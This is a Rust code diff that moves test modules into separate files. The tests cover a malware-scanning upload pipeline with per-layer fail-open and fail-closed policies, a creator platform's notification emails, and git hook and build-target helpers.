958 - let mut hasher = Sha256::new();
959 - hasher.update(b"hello");
960 - let hash = hex::encode(hasher.finalize());
961 - assert_eq!(
962 - hash,
963 - "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824"
964 - );
965 - }
966 -
967 - // Pipeline integration tests
968 -
969 - /// Create a minimal ScanPipeline with no external deps (no YARA, no ClamAV, no MalwareBazaar).
970 - /// Wrapped in `Arc` because `scan` consumes `Arc<Self>` (see `pub async fn scan`).
971 - fn make_pipeline() -> std::sync::Arc<ScanPipeline> {
972 - std::sync::Arc::new(ScanPipeline {
973 - yara_rules: None,
974 - yara_rule_count: 0,
975 - yara_min_rule_files: 0,
976 - clamav_socket: None,
977 - clamav_max_scan_bytes: None,
978 - malwarebazaar_enabled: false,
979 - urlhaus_enabled: false,
980 - abuse_ch_auth_key: None,
981 - metadefender_api_key: None,
982 - })
983 - }
984 -
985 - /// SEC-S2: a corpus that compiled fewer rule files than the configured floor
986 - /// is degraded coverage masquerading as a live layer, boot must fail closed.
987 - #[tokio::test]
988 - async fn assert_live_refuses_degraded_yara_corpus() {
989 - let mut compiler = yara_x::Compiler::new();
990 - compiler
991 - .add_source(r#"rule r { strings: $a = "x" condition: $a }"#)
992 - .unwrap();
993 - let pipeline = std::sync::Arc::new(ScanPipeline {
994 - yara_rules: Some(compiler.build()),
995 - yara_rule_count: 1,
996 - yara_min_rule_files: 2,
997 - clamav_socket: None,
998 - clamav_max_scan_bytes: None,
999 - malwarebazaar_enabled: false,
1000 - urlhaus_enabled: false,
1001 - abuse_ch_auth_key: None,
1002 - metadefender_api_key: None,
1003 - });
1004 - let err = pipeline
1005 - .assert_live()
1006 - .await
1007 - .expect_err("degraded corpus must refuse boot");
1008 - assert!(
1009 - err.contains("YARA corpus degraded"),
1010 - "unexpected error: {err}"
1011 - );
1012 - }
1013 -
1014 - /// The complement: a corpus meeting the floor boots, with YARA counted live.
1015 - #[tokio::test]
1016 - async fn assert_live_accepts_corpus_meeting_floor() {
1017 - let mut compiler = yara_x::Compiler::new();
1018 - compiler
1019 - .add_source(r#"rule r { strings: $a = "x" condition: $a }"#)
1020 - .unwrap();
1021 - let pipeline = std::sync::Arc::new(ScanPipeline {
1022 - yara_rules: Some(compiler.build()),
1023 - yara_rule_count: 3,
1024 - yara_min_rule_files: 3,
1025 - clamav_socket: None,
1026 - clamav_max_scan_bytes: None,
1027 - malwarebazaar_enabled: false,
1028 - urlhaus_enabled: false,
1029 - abuse_ch_auth_key: None,
1030 - metadefender_api_key: None,
1031 - });
1032 - pipeline
1033 - .assert_live()
1034 - .await
1035 - .expect("a corpus meeting the floor must boot");
1036 - }
1037 -
1038 - #[tokio::test]
1039 - async fn pipeline_clean_download_passes() {
1040 - let pipeline = make_pipeline();
1041 - let result = pipeline
1042 - .clone()
1043 - .scan(b"just some file content".to_vec(), FileType::Download)
1044 - .await;
1045 - assert_eq!(result.status, FileScanStatus::Clean);
1046 - assert_eq!(result.file_size, 22);
1047 - assert!(!result.sha256.is_empty());
1048 - assert_eq!(result.layers.len(), 12);
1049 - }
1050 -
1051 - #[tokio::test]
1052 - async fn pipeline_unrecognized_audio_quarantined() {
1053 - let pipeline = make_pipeline();
1054 - // Unrecognized data claimed as audio should be rejected by content_type layer
1055 - let result = pipeline
1056 - .clone()
1057 - .scan(b"audio data here".to_vec(), FileType::Audio)
1058 - .await;
1059 - assert_eq!(result.status, FileScanStatus::Quarantined);
1060 - }
1061 -
1062 - #[tokio::test]
1063 - async fn pipeline_clean_cover_passes() {
1064 - let pipeline = make_pipeline();
1065 - // PNG magic bytes
1066 - let png = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A];
1067 - let result = pipeline.clone().scan(png.to_vec(), FileType::Cover).await;
1068 - assert_eq!(result.status, FileScanStatus::Clean);
1069 - }
1070 -
1071 - #[tokio::test]
1072 - async fn pipeline_pe_as_audio_quarantined() {
1073 - let pipeline = make_pipeline();
1074 - // PE magic bytes, content-type layer should detect application/* and fail
1075 - let pe_header = b"MZ\x90\x00\x03\x00\x00\x00";
1076 - let result = pipeline
1077 - .clone()
1078 - .scan(pe_header.to_vec(), FileType::Audio)
1079 - .await;
1080 - assert_eq!(result.status, FileScanStatus::Quarantined);
1081 - // Verify content_type layer produced the fail
1082 - let content_type_layer = result
1083 - .layers
1084 - .iter()
1085 - .find(|l| l.layer == "content_type")
1086 - .unwrap();
1087 - assert_eq!(content_type_layer.verdict, LayerVerdict::Fail);
1088 - }
1089 -
1090 - #[tokio::test]
1091 - async fn pipeline_pe_as_cover_quarantined() {
1092 - let pipeline = make_pipeline();
1093 - let pe_header = b"MZ\x90\x00\x03\x00\x00\x00";
1094 - let result = pipeline
1095 - .clone()
1096 - .scan(pe_header.to_vec(), FileType::Cover)
1097 - .await;
1098 - assert_eq!(result.status, FileScanStatus::Quarantined);
1099 - }
1100 -
1101 - #[tokio::test]
1102 - async fn pipeline_sha256_is_deterministic() {
1103 - let pipeline = make_pipeline();
1104 - let data = b"deterministic hash test";
1105 - let r1 = pipeline
1106 - .clone()
1107 - .scan(data.to_vec(), FileType::Download)
1108 - .await;
1109 - let r2 = pipeline
1110 - .clone()
1111 - .scan(data.to_vec(), FileType::Download)
1112 - .await;
1113 - assert_eq!(r1.sha256, r2.sha256);
1114 - }
1115 -
1116 - #[tokio::test]
1117 - async fn pipeline_skips_optional_layers_when_unconfigured() {
1118 - let pipeline = make_pipeline();
1119 - let result = pipeline
1120 - .clone()
1121 - .scan(b"test".to_vec(), FileType::Download)
1122 - .await;
1123 -
1124 - let yara = result.layers.iter().find(|l| l.layer == "yara").unwrap();
1125 - assert_eq!(yara.verdict, LayerVerdict::Skip);
1126 -
1127 - let clamav = result.layers.iter().find(|l| l.layer == "clamav").unwrap();
1128 - assert_eq!(clamav.verdict, LayerVerdict::Skip);
1129 -
1130 - let mb = result
1131 - .layers
1132 - .iter()
1133 - .find(|l| l.layer == "malwarebazaar")
1134 - .unwrap();
1135 - assert_eq!(mb.verdict, LayerVerdict::Skip);
1136 -
1137 - let uh = result.layers.iter().find(|l| l.layer == "urlhaus").unwrap();
1138 - assert_eq!(uh.verdict, LayerVerdict::Skip);
1139 - }
1140 -
1141 - #[tokio::test]
1142 - async fn pipeline_always_produces_12_layers() {
1143 - let pipeline = make_pipeline();
1144 - for file_type in [FileType::Audio, FileType::Cover, FileType::Download] {
1145 - let result = pipeline.clone().scan(b"data".to_vec(), file_type).await;
1146 - // 11 base layers + the recursive archive-interior layer (archive_nested).
1147 - assert_eq!(
1148 - result.layers.len(),
1149 - 12,
1150 - "Expected 12 layers for {file_type:?}"
1151 - );
1152 - }
1153 - }
1154 -
1155 - #[test]
1156 - fn suspicion_present_on_fail() {
1157 - let layers = vec![pass("content_type"), fail("yara")];
1158 - assert!(suspicion_present(&layers));
1159 - }
1160 -
1161 - #[test]
1162 - fn suspicion_present_on_fail_closed_error() {
1163 - let layers = vec![pass("content_type"), err("archive")];
1164 - assert!(suspicion_present(&layers));
1165 - }
1166 -
1167 - #[test]
1168 - fn no_suspicion_when_fail_open_error_only() {
1169 - // External-layer errors are operational noise, not malware signals;
1170 - // they must not invoke MetaDefender.
1171 - let layers = vec![pass("content_type"), err("malwarebazaar"), err("urlhaus")];
1172 - assert!(!suspicion_present(&layers));
1173 - }
1174 -
1175 - #[test]
1176 - fn no_suspicion_when_all_clean() {
1177 - let layers = vec![pass("content_type"), skip("yara"), pass("structural")];
1178 - assert!(!suspicion_present(&layers));
1179 - }
1180 -
1181 - #[tokio::test]
1182 - async fn pipeline_errors_held_for_review() {
1183 - // Errors from fail-closed layers (archive is in-process deterministic)
1184 - // should hold the file for admin review.
1185 - let pipeline = make_pipeline();
1186 - // Corrupted ZIP magic bytes, archive layer returns Error
1187 - let mut data = vec![0x50, 0x4B, 0x03, 0x04];
1188 - data.extend_from_slice(&[0xFF; 100]);
1189 - let result = pipeline.clone().scan(data, FileType::Download).await;
1190 - let archive = result.layers.iter().find(|l| l.layer == "archive").unwrap();
1191 - assert_eq!(archive.verdict, LayerVerdict::Error);
1192 - assert_eq!(result.status, FileScanStatus::HeldForReview);
1193 - }
1194 -
1195 - // Per-layer fail policy tests
1196 -
1197 - fn err(layer: &'static str) -> LayerResult {
1198 - LayerResult {
1199 - layer,
1200 - verdict: LayerVerdict::Error,
1201 - detail: None,
1202 - }
1203 - }
1204 - fn pass(layer: &'static str) -> LayerResult {
1205 - LayerResult {
1206 - layer,
1207 - verdict: LayerVerdict::Pass,
1208 - detail: None,
1209 - }
1210 - }
1211 - fn skip(layer: &'static str) -> LayerResult {
1212 - LayerResult {
1213 - layer,
1214 - verdict: LayerVerdict::Skip,
1215 - detail: None,
1216 - }
1217 - }
1218 - fn fail(layer: &'static str) -> LayerResult {
1219 - LayerResult {
1220 - layer,
1221 - verdict: LayerVerdict::Fail,
1222 - detail: None,
1223 - }
1224 - }
1225 -
1226 - #[test]
1227 - fn yara_tail_unscanned_only_without_backstop() {
1228 - use crate::constants::SCAN_YARA_MAX_BYTES;
1229 - let over = SCAN_YARA_MAX_BYTES + 1;
1230 - // Over the cap, no declared ClamAV coverage → tail unscanned, must hold.
1231 - assert!(yara_tail_unscanned(over, None));
1232 - // Over the cap, ClamAV coverage present but SHORT of the file (Run #24
1233 - // MODERATE: clamd reachable but MaxScanSize doesn't reach) → still hold.
1234 - assert!(yara_tail_unscanned(over, Some(over as u64 - 1)));
1235 - // Over the cap, declared coverage reaches the file → ClamAV is a real
1236 - // full-file backstop, don't hold.
1237 - assert!(!yara_tail_unscanned(over, Some(over as u64)));
1238 - assert!(!yara_tail_unscanned(over, Some(u64::MAX)));
1239 - // Within the YARA cap → whole file scanned by YARA regardless of ClamAV.
1240 - assert!(!yara_tail_unscanned(SCAN_YARA_MAX_BYTES, None));
1241 - assert!(!yara_tail_unscanned(1024, None));
1242 - }
1243 -
1244 - #[test]
1245 - fn final_status_clean_when_all_pass() {
1246 - let layers = vec![
1247 - pass("content_type"),
1248 - pass("structural"),
1249 - pass("archive"),
1250 - skip("yara"),
1251 - skip("clamav"),
1252 - skip("malwarebazaar"),
1253 - ];
1254 - assert_eq!(final_status(&layers), FileScanStatus::Clean);
1255 - }
1256 -
1257 - #[test]
1258 - fn final_status_quarantined_on_any_fail() {
1259 - let layers = vec![pass("content_type"), fail("yara"), skip("clamav")];
1260 - assert_eq!(final_status(&layers), FileScanStatus::Quarantined);
1261 - }
1262 -
1263 - #[test]
1264 - fn final_status_fail_beats_error() {
1265 - // A Fail anywhere supersedes any Error, regardless of policy.
1266 - let layers = vec![err("malwarebazaar"), fail("yara")];
1267 - assert_eq!(final_status(&layers), FileScanStatus::Quarantined);
1268 - }
1269 -
1270 - #[test]
1271 - fn final_status_held_on_fail_closed_error() {
1272 - // archive is FailClosed, its Error must hold the file.
1273 - let layers = vec![pass("content_type"), err("archive"), skip("clamav")];
1274 - assert_eq!(final_status(&layers), FileScanStatus::HeldForReview);
1275 - }
1276 -
1277 - #[test]
1278 - fn final_status_clean_on_fail_open_error_only() {
1279 - // malwarebazaar is FailOpen, its Error must NOT hold the file.
1280 - // This is the regression of 2026-05-10 that motivated the audit.
1281 - let layers = vec![
1282 - pass("content_type"),
1283 - pass("structural"),
1284 - pass("archive"),
1285 - skip("yara"),
1286 - skip("clamav"),
1287 - err("malwarebazaar"),
1288 - ];
1289 - assert_eq!(final_status(&layers), FileScanStatus::Clean);
1290 - }
1291 -
1292 - #[test]
1293 - fn final_status_clean_when_all_external_layers_error() {
1294 - // Worst-case external-services outage: every network/daemon layer
1295 - // erroring at once. As long as the in-process layers pass, the file
1296 - // is Clean. Health is surfaced separately via per-layer monitoring.
1297 - let layers = vec![
1298 - pass("content_type"),
1299 - pass("structural"),
1300 - pass("archive"),
1301 - skip("yara"),
1302 - err("clamav"),
1303 - err("malwarebazaar"),
1304 - ];
1305 - assert_eq!(final_status(&layers), FileScanStatus::Clean);
1306 - }
1307 -
1308 - #[test]
1309 - fn clamav_incomplete_is_fail_closed_and_holds() {
1310 - // CHRONIC S1: a reachable-but-incomplete clamav scan is emitted under the
1311 - // `clamav_incomplete` layer, which must be FailClosed → HeldForReview,
1312 - // distinct from the FailOpen `clamav` layer used for an unreachable daemon.
1313 - assert_eq!(
1314 - error_policy_for("clamav_incomplete"),
1315 - ErrorPolicy::FailClosed
1316 - );
1317 - assert_eq!(error_policy_for("clamav"), ErrorPolicy::FailOpen);
1318 - let layers = vec![
1319 - pass("content_type"),
1320 - pass("structural"),
1321 - pass("archive"),
1322 - skip("yara"),
1323 - err("clamav_incomplete"),
1324 - ];
1325 - assert_eq!(final_status(&layers), FileScanStatus::HeldForReview);
1326 - }
1327 -
1328 - #[test]
1329 - fn final_status_held_on_unknown_layer_error() {
1330 - // Defensive default: an unknown layer name that errors falls through
1331 - // to FailClosed. This is what catches a new layer added without
1332 - // wiring its policy into `error_policy_for`.
1333 - let layers = vec![
1334 - pass("content_type"),
1335 - err("brand_new_layer_someone_forgot_to_register"),
1336 - ];
1337 - assert_eq!(final_status(&layers), FileScanStatus::HeldForReview);
1338 - }
1339 -
1340 - #[test]
1341 - fn error_policy_for_all_known_layers() {
1342 - // Every layer name produced by the pipeline must have an explicit
1343 - // declaration in `error_policy_for`. The default branch is reserved
1344 - // for genuine programmer error (new layer, forgot to register).
1345 - for name in [
1346 - "content_type",
1347 - "structural",
1348 - "archive",
1349 - "yara",
1350 - "clamav",
1351 - "malwarebazaar",
1352 - ] {
1353 - let policy = error_policy_for(name);
1354 - // Both values are valid; we just want this to not hit the default.
1355 - // If a layer is renamed without updating `error_policy_for`, this
1356 - // test still passes (the rename produces a new unknown name), but
1357 - // the per-layer name tests below catch that.
1358 - let _ = policy;
1359 - }
1360 - }
1361 -
1362 - #[test]
1363 - fn content_type_is_fail_closed() {
1364 - assert_eq!(error_policy_for("content_type"), ErrorPolicy::FailClosed);
1365 - }
1366 - #[test]
1367 - fn structural_is_fail_closed() {
1368 - assert_eq!(error_policy_for("structural"), ErrorPolicy::FailClosed);
1369 - }
1370 - #[test]
1371 - fn archive_is_fail_closed() {
1372 - assert_eq!(error_policy_for("archive"), ErrorPolicy::FailClosed);
1373 - }
1374 - #[test]
1375 - fn yara_is_fail_closed() {
1376 - assert_eq!(error_policy_for("yara"), ErrorPolicy::FailClosed);
1377 - }
1378 - #[test]
1379 - fn clamav_is_fail_open() {
1380 - assert_eq!(error_policy_for("clamav"), ErrorPolicy::FailOpen);
1381 - }
Lines truncated
@@ -955,431 +955,4 @@
955 955 }
956 956
957 957 #[cfg(test)]
958 - mod tests {
959 - use super::*;
960 - use crate::email::EmailTransport;
961 - use std::sync::{Arc, Mutex};
962 -
963 - /// One captured email: (to, subject, html_body, text_body).
964 - type SentEmail = (String, String, String, Option<String>);
965 -
966 - /// In-memory transport that captures sent emails for assertion in tests.
967 - struct CapturingTransport {
968 - sent: Mutex<Vec<SentEmail>>,
969 - }
970 -
971 - impl CapturingTransport {
972 - fn new() -> Self {
973 - Self {
974 - sent: Mutex::new(Vec::new()),
975 - }
976 - }
977 - fn last(&self) -> (String, String, String, Option<String>) {
978 - self.sent
979 - .lock()
980 - .unwrap()
981 - .last()
982 - .cloned()
983 - .expect("no email captured")
984 - }
985 - }
986 -
987 - #[async_trait::async_trait]
988 - impl EmailTransport for CapturingTransport {
989 - async fn send_email(&self, to: &str, subject: &str, body: &str) -> Result<()> {
990 - self.sent.lock().unwrap().push((
991 - to.to_string(),
992 - subject.to_string(),
993 - body.to_string(),
994 - None,
995 - ));
996 - Ok(())
997 - }
998 - async fn send_email_with_headers_and_unsub(
999 - &self,
1000 - to: &str,
1001 - subject: &str,
1002 - body: &str,
1003 - _extra_headers: &[(&str, String)],
1004 - unsub_url: Option<&str>,
1005 - ) -> Result<()> {
1006 - self.sent.lock().unwrap().push((
1007 - to.to_string(),
1008 - subject.to_string(),
1009 - body.to_string(),
1010 - unsub_url.map(String::from),
1011 - ));
1012 - Ok(())
1013 - }
1014 - async fn send_email_broadcast_with_unsub(
1015 - &self,
1016 - to: &str,
1017 - subject: &str,
1018 - body: &str,
1019 - unsub_url: Option<&str>,
1020 - _send: Option<crate::db::EmailSendId>,
1021 - ) -> Result<()> {
1022 - self.sent.lock().unwrap().push((
1023 - to.to_string(),
1024 - subject.to_string(),
1025 - body.to_string(),
1026 - unsub_url.map(String::from),
1027 - ));
1028 - Ok(())
1029 - }
1030 - }
1031 -
1032 - /// A stand-in recipient id for the Optional senders. `client_with_capture`
1033 - /// builds a pool-less client, so `dispatch` sends without consulting a
1034 - /// preference and these tests stay about the composed message.
1035 - fn recipient_id() -> crate::db::UserId {
1036 - crate::db::UserId::from(uuid::Uuid::nil())
1037 - }
1038 -
1039 - fn client_with_capture() -> (EmailClient, Arc<CapturingTransport>) {
1040 - let transport = Arc::new(CapturingTransport::new());
1041 - let client = EmailClient::with_transport(transport.clone());
1042 - (client, transport)
1043 - }
1044 -
1045 - // ── Creator activity ──
1046 -
1047 - #[tokio::test]
1048 - async fn sale_notification_carries_buyer_item_price() {
1049 - let (client, captured) = client_with_capture();
1050 - client
1051 - .send_sale_notification(
1052 - recipient_id(),
1053 - "seller@example.com",
1054 - Some("Sasha"),
1055 - "buyer42",
1056 - "Cool Album",
1057 - "$10.00",
1058 - Some("https://x/unsub"),
1059 - )
1060 - .await
1061 - .unwrap();
1062 - let (to, subject, body, unsub) = captured.last();
1063 - assert_eq!(to, "seller@example.com");
1064 - assert!(subject.contains("New sale"));
1065 - assert!(subject.contains("Cool Album"));
1066 - assert!(body.contains("Hi Sasha"));
1067 - assert!(body.contains("buyer42"));
1068 - assert!(body.contains("Cool Album"));
1069 - assert!(body.contains("$10.00"));
1070 - assert_eq!(unsub.as_deref(), Some("https://x/unsub"));
1071 - }
1072 -
1073 - #[tokio::test]
1074 - async fn sale_notification_handles_none_name() {
1075 - // greeting(None) → empty; body should still build coherently.
1076 - let (client, captured) = client_with_capture();
1077 - client
1078 - .send_sale_notification(recipient_id(), "s@x", None, "buyer", "Item", "$5", None)
1079 - .await
1080 - .unwrap();
1081 - let (_, _, body, unsub) = captured.last();
1082 - assert!(
1083 - body.starts_with("Hi,") || body.starts_with("Hi "),
1084 - "body: {body}"
1085 - );
1086 - assert!(unsub.is_none());
1087 - }
1088 -
1089 - #[tokio::test]
1090 - async fn tip_notification_with_message_includes_quoted_message() {
1091 - let (client, captured) = client_with_capture();
1092 - client
1093 - .send_tip_notification(
1094 - recipient_id(),
1095 - "c@x",
1096 - None,
1097 - "Alex",
1098 - "$3",
1099 - Some("Loved it!"),
1100 - None,
1101 - )
1102 - .await
1103 - .unwrap();
1104 - let (_, subject, body, _) = captured.last();
1105 - assert!(subject.contains("Alex tipped you $3"));
1106 - assert!(body.contains("Loved it!"));
1107 - assert!(body.contains("$3"));
1108 - }
1109 -
1110 - #[tokio::test]
1111 - async fn tip_notification_without_message_omits_quote_block() {
1112 - // Pins the `match message { Some => ..., None => ... }` arm split,
1113 - // without-message branch must NOT include the "with a message:" preamble.
1114 - let (client, captured) = client_with_capture();
1115 - client
1116 - .send_tip_notification(recipient_id(), "c@x", None, "Alex", "$3", None, None)
1117 - .await
1118 - .unwrap();
1119 - let (_, _, body, _) = captured.last();
1120 - assert!(
1121 - !body.contains("with a message"),
1122 - "without-message branch leaked: {body}"
1123 - );
1124 - assert!(body.contains("$3"));
1125 - }
1126 -
1127 - // ── Platform notices: suspension / appeal / termination / shutdown ──
1128 -
1129 - #[tokio::test]
1130 - async fn suspension_includes_reason() {
1131 - let (client, captured) = client_with_capture();
1132 - client
1133 - .send_suspension_notification("u@x", Some("Sam"), "Spam reports")
1134 - .await
1135 - .unwrap();
1136 - let (_, subject, body, _) = captured.last();
1137 - assert_eq!(subject, "Your account has been suspended");
1138 - assert!(body.contains("Hi Sam"));
1139 - assert!(body.contains("Reason: Spam reports"));
1140 - assert!(body.contains("appeal"));
1141 - assert!(body.contains("export your data"));
1142 - }
1143 -
1144 - #[tokio::test]
1145 - async fn appeal_decision_approved_uses_reinstated_outcome() {
1146 - // Pins the `if decision == "approved"` branch.
1147 - let (client, captured) = client_with_capture();
1148 - client
1149 - .send_appeal_decision("u@x", None, "approved", "Reviewed and reversed.")
1150 - .await
1151 - .unwrap();
1152 - let (_, _, body, _) = captured.last();
1153 - assert!(
1154 - body.contains("Your account has been reinstated"),
1155 - "approved branch should say reinstated: {body}"
1156 - );
1157 - assert!(
1158 - !body.contains("Your appeal has been denied"),
1159 - "approved branch must NOT also say denied: {body}"
1160 - );
1161 - assert!(body.contains("Reviewed and reversed."));
1162 - }
1163 -
1164 - #[tokio::test]
1165 - async fn appeal_decision_denied_uses_denied_outcome() {
1166 - let (client, captured) = client_with_capture();
1167 - client
1168 - .send_appeal_decision("u@x", None, "denied", "Reviewed and upheld.")
1169 - .await
1170 - .unwrap();
1171 - let (_, _, body, _) = captured.last();
1172 - assert!(body.contains("Your appeal has been denied"));
1173 - assert!(!body.contains("Your account has been reinstated"));
1174 - }
1175 -
1176 - #[tokio::test]
1177 - async fn appeal_decision_anything_other_than_approved_is_denied() {
1178 - // Pins `decision == "approved"` (exact match, case-sensitive).
1179 - let (client, captured) = client_with_capture();
1180 - client
1181 - .send_appeal_decision("u@x", None, "APPROVED", "uppercase")
1182 - .await
1183 - .unwrap();
1184 - let (_, _, body, _) = captured.last();
1185 - assert!(
1186 - body.contains("Your appeal has been denied"),
1187 - "case-sensitive `approved`, uppercase must NOT pass: {body}"
1188 - );
1189 - }
1190 -
1191 - #[tokio::test]
1192 - async fn content_removal_subjects_with_title() {
1193 - let (client, captured) = client_with_capture();
1194 - client
1195 - .send_content_removal("c@x", Some("Dev"), "Beat Pack 1", "Copyright claim")
1196 - .await
1197 - .unwrap();
1198 - let (_, subject, body, _) = captured.last();
1199 - assert_eq!(subject, "Content removed: Beat Pack 1");
1200 - assert!(body.contains("Hi Dev"));
1201 - assert!(body.contains("Beat Pack 1"));
1202 - assert!(body.contains("Reason: Copyright claim"));
1203 - assert!(body.contains("appeal"));
1204 - }
1205 -
1206 - #[tokio::test]
1207 - async fn content_restored_subjects_with_title() {
1208 - let (client, captured) = client_with_capture();
1209 - client
1210 - .send_content_restored("c@x", None, "Beat Pack 1")
1211 - .await
1212 - .unwrap();
1213 - let (_, subject, body, _) = captured.last();
1214 - assert_eq!(subject, "Content restored: Beat Pack 1");
1215 - assert!(body.contains("Beat Pack 1"));
1216 - assert!(body.contains("restored"));
1217 - }
1218 -
1219 - #[tokio::test]
1220 - async fn account_termination_has_30_day_window_message() {
1221 - let (client, captured) = client_with_capture();
1222 - client
1223 - .send_account_termination("u@x", Some("Pat"))
1224 - .await
1225 - .unwrap();
1226 - let (_, subject, body, _) = captured.last();
1227 - assert!(subject.contains("terminated"));
1228 - assert!(body.contains("Hi Pat"));
1229 - assert!(body.contains("30 days"));
1230 - assert!(body.contains("export your data"));
1231 - }
1232 -
1233 - #[tokio::test]
1234 - async fn shutdown_notice_includes_date() {
1235 - let (client, captured) = client_with_capture();
1236 - client
1237 - .send_shutdown_notice("u@x", None, "2027-06-15")
1238 - .await
1239 - .unwrap();
1240 - let (_, subject, body, _) = captured.last();
1241 - assert!(subject.contains("shutting down"));
1242 - assert!(body.contains("2027-06-15"));
1243 - assert!(body.contains("90 days"));
1244 - assert!(body.contains("no lock-in"));
1245 - }
1246 -
1247 - #[tokio::test]
1248 - async fn creator_departure_mentions_creator_and_90_days() {
1249 - let (client, captured) = client_with_capture();
1250 - client
1251 - .send_creator_departure_notification("buyer@x", None, "Alex")
1252 - .await
1253 - .unwrap();
1254 - let (_, subject, body, _) = captured.last();
1255 - assert!(subject.contains("Alex"));
1256 - assert!(subject.contains("leaving"));
1257 - assert!(body.contains("Alex"));
1258 - assert!(body.contains("90 days"));
1259 - assert!(body.contains("library"));
1260 - }
1261 -
1262 - // ── Issue tracking ──
1263 -
1264 - #[tokio::test]
1265 - async fn new_issue_notification_includes_repo_path_and_url() {
1266 - let (client, captured) = client_with_capture();
1267 - client
1268 - .send_new_issue_notification(
1269 - recipient_id(),
1270 - "owner@x",
1271 - Some("Jordan"),
1272 - "alex",
1273 - "audio-tools",
1274 - 42,
1275 - "Crash on startup",
1276 - "bob",
1277 - "https://makenot.work/p/alex/audio-tools/issues/42",
1278 - Some("https://unsub"),
1279 - Some("reply@x"),
1280 - Some("<msgid@x>"),
1281 - )
1282 - .await
1283 - .unwrap();
1284 - let (_, subject, body, unsub) = captured.last();
1285 - assert_eq!(subject, "New issue on alex/audio-tools: Crash on startup");
1286 - assert!(body.contains("Hi Jordan"));
1287 - assert!(body.contains("bob opened issue #42"));
1288 - assert!(body.contains("alex/audio-tools"));
1289 - assert!(body.contains("Crash on startup"));
1290 - assert!(body.contains("https://makenot.work/p/alex/audio-tools/issues/42"));
1291 - assert_eq!(unsub.as_deref(), Some("https://unsub"));
1292 - }
1293 -
1294 - #[tokio::test]
1295 - async fn issue_comment_subject_uses_re_prefix() {
1296 - // Pins the "Re: " prefix that threads the email reply.
1297 - let (client, captured) = client_with_capture();
1298 - client
1299 - .send_issue_comment_notification(
1300 - recipient_id(),
1301 - "owner@x",
1302 - None,
1303 - "alex",
1304 - "audio-tools",
1305 - 42,
1306 - "Crash on startup",
1307 - "carol",
1308 - "Looked into this, see PR #5",
1309 - "https://makenot.work/p/alex/audio-tools/issues/42",
1310 - None,
1311 - None,
1312 - None,
1313 - None,
1314 - )
1315 - .await
1316 - .unwrap();
1317 - let (_, subject, body, _) = captured.last();
1318 - assert!(
1319 - subject.starts_with("Re: "),
1320 - "comment must be Re:-prefixed: {subject}"
1321 - );
1322 - assert!(body.contains("carol commented on issue #42"));
1323 - assert!(body.contains("Looked into this"));
1324 - }
1325 -
1326 - // ── Status notifications: per-status subject mapping ──
1327 -
1328 - #[tokio::test]
1329 - async fn status_notification_operational_subject() {
1330 - let (client, captured) = client_with_capture();
1331 - client
1332 - .send_status_notification(
1333 - recipient_id(),
1334 - "u@x",
1335 - None,
1336 - "operational",
1337 - "degraded",
1338 - "https://unsub",
1339 - )
1340 - .await
1341 - .unwrap();
1342 - let (_, subject, _, _) = captured.last();
1343 - assert!(subject.contains("recovered"));
1344 - assert!(subject.contains("all services operational"));
1345 - }
1346 -
1347 - #[tokio::test]
1348 - async fn status_notification_degraded_subject() {
1349 - let (client, captured) = client_with_capture();
1350 - client
1351 - .send_status_notification(
1352 - recipient_id(),
1353 - "u@x",
1354 - None,
1355 - "degraded",
1356 - "operational",
1357 - "https://unsub",
1358 - )
1359 - .await
1360 - .unwrap();
1361 - let (_, subject, _, _) = captured.last();
1362 - assert!(subject.contains("partial service degradation"));
1363 - }
1364 -
1365 - #[tokio::test]
1366 - async fn status_notification_unknown_falls_back_to_disruption() {
1367 - // Pins the `_ => "...service disruption"` arm.
1368 - let (client, captured) = client_with_capture();
1369 - client
1370 - .send_status_notification(
1371 - recipient_id(),
1372 - "u@x",
1373 - None,
1374 - "outage",
1375 - "operational",
1376 - "https://unsub",
1377 - )
1378 - .await
1379 - .unwrap();
1380 - let (_, subject, body, _) = captured.last();
1381 - assert!(subject.contains("service disruption"));
1382 - // Body interpolates the actual status string regardless.
1383 - assert!(body.contains("outage"));
1384 - }
1385 - }
958 + mod tests;
@@ -1,0 +1,226 @@
1 + //! Tests for [`super`].
2 +
3 + use super::*;
4 +
5 + #[test]
6 + fn the_update_hook_guards_the_namespace_validation_reserves() {
7 + // Bash cannot read a Rust constant, so the literal in the hook is a
8 + // copy. Renaming the reserved prefix without editing the hook would
9 + // leave the new one pushable and the old one locked, which is the
10 + // failure this pins: two doors, one policy.
11 + let reserved = crate::validation::RESERVED_NOTE_NAMESPACE;
12 + assert!(
13 + UPDATE_HOOK.contains(&format!("refs/notes/{reserved}|refs/notes/{reserved}/*")),
14 + "the update hook does not guard refs/notes/{reserved}/*:\n{UPDATE_HOOK}"
15 + );
16 + // The bare prefix and the subtree are separate patterns in a glob, and
17 + // matching only the subtree would leave `refs/notes/mnw` itself open.
18 + assert!(UPDATE_HOOK.contains("exit 1"), "{UPDATE_HOOK}");
19 + }
20 +
21 + #[tokio::test]
22 + async fn read_capped_truncates_to_cap() {
23 + // 10k bytes through a 4k cap retains exactly 4k (the rest is drained and
24 + // discarded so the child never blocks on a full pipe).
25 + let data = vec![b'x'; 10_000];
26 + let out = read_capped(&data[..], 4096).await;
27 + assert_eq!(out.len(), 4096);
28 + }
29 +
30 + #[tokio::test]
31 + async fn read_capped_returns_all_when_under_cap() {
32 + let out = read_capped(&b"hello world"[..], 4096).await;
33 + assert_eq!(out, "hello world");
34 + }
35 +
36 + #[test]
37 + fn build_failure_message_partial() {
38 + assert_eq!(
39 + build_failure_message(1, 2, Some("boom")),
40 + "partial build failure (1/3 targets succeeded)"
41 + );
42 + assert_eq!(
43 + build_failure_message(2, 1, Some("boom")),
44 + "partial build failure (2/3 targets succeeded)"
45 + );
46 + }
47 +
48 + #[test]
49 + fn build_failure_message_total_failure_uses_first_error() {
50 + assert_eq!(build_failure_message(0, 3, Some("ssh down")), "ssh down");
51 + assert_eq!(
52 + build_failure_message(0, 0, None),
53 + "no targets produced artifacts"
54 + );
55 + }
56 +
57 + #[test]
58 + fn rust_target_mapping() {
59 + assert_eq!(
60 + rust_target("linux", "x86_64"),
61 + Some("x86_64-unknown-linux-gnu")
62 + );
63 + assert_eq!(
64 + rust_target("linux", "aarch64"),
65 + Some("aarch64-unknown-linux-gnu")
66 + );
67 + assert_eq!(rust_target("darwin", "x86_64"), Some("x86_64-apple-darwin"));
68 + assert_eq!(
69 + rust_target("darwin", "aarch64"),
70 + Some("aarch64-apple-darwin")
71 + );
